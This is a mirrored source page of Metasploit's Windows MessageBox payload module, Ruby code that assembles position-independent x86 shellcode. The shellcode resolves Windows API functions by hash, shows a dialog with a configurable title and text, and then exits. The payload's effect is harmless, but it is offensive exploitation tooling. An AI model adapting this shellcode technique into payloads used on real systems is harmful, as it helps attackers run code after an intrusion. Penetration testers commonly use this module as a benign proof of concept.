Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/payloads/singles/windows/messagebox.rb
Views: 15919
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 23178include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Payload::Windows::BlockApi1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Windows MessageBox',17'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon',18'Author' => [19'corelanc0d3r <peter.ve[at]corelan.be>', # original payload module20'jduck' # some ruby factoring21],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X8625)26)2728# Register MessageBox options29register_options(30[31OptString.new('TITLE', [ true, 'Messagebox Title (max 255 chars)', 'MessageBox' ], max_length: 255),32OptString.new('TEXT', [ true, 'Messagebox Text (max 255 chars)', 'Hello, from MSF!' ], max_length: 255),33OptString.new('ICON', [ true, 'Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION', 'NO' ])34]35)36end3738#39# Construct the payload40#41def generate(_opts = {})42style = 0x0043case datastore['ICON'].upcase.strip44# default = NO45when 'ERROR'46style = 0x1047when 'QUESTION'48style = 0x2049when 'WARNING'50style = 0x3051when 'INFORMATION'52style = 0x4053end5455exitfunc_asm = %(56push 057push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}58call ebp59)60if datastore['EXITFUNC'].upcase.strip == 'THREAD'61exitfunc_asm = %(62mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}63push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}64call ebp65add esp,0x2866cmp al,0x667jl use_exitthread ; is older than Vista or Server 2003 R2?68cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX69jne use_exitthread70mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}71use_exitthread:72push 073push ebx74call ebp75)76end7778payload_data = %(79cld80call start81#{asm_block_api}82start:83pop ebp84call get_user3285db "user32.dll", 0x0086get_user32:87push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}88call ebp89push #{style}90call get_title91db "#{datastore['TITLE']}", 0x0092get_title:93call get_text94db "#{datastore['TEXT']}", 0x0095get_text:96push 097push #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}98call ebp99#{exitfunc_asm}100)101self.assembly = payload_data102super103end104end105106107